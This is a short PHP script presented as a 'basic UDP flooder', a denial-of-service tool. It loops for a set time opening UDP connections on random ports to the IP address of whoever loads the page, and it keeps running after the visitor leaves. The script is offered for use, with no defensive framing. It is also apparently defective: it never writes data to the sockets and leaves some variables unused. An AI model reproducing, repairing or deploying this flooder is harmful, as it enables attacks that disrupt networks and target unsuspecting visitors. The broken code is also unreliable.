PHP - Basic UDP flooder

<?php
$ip = '127.0.0.1';
$duration = '180';
$packets = 0;

ignore_user_abort(TRUE);
set_time_limit(0);

$exec_time = '100';
$time = time();
$max_time = $time+$exec_time;
$host = $_SERVER['REMOTE_ADDR'];

while(1)

{

$packets++;
if(time() > $max_time){

break;
                  }
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);

if($fp)

{

fclose($fp);


    }
}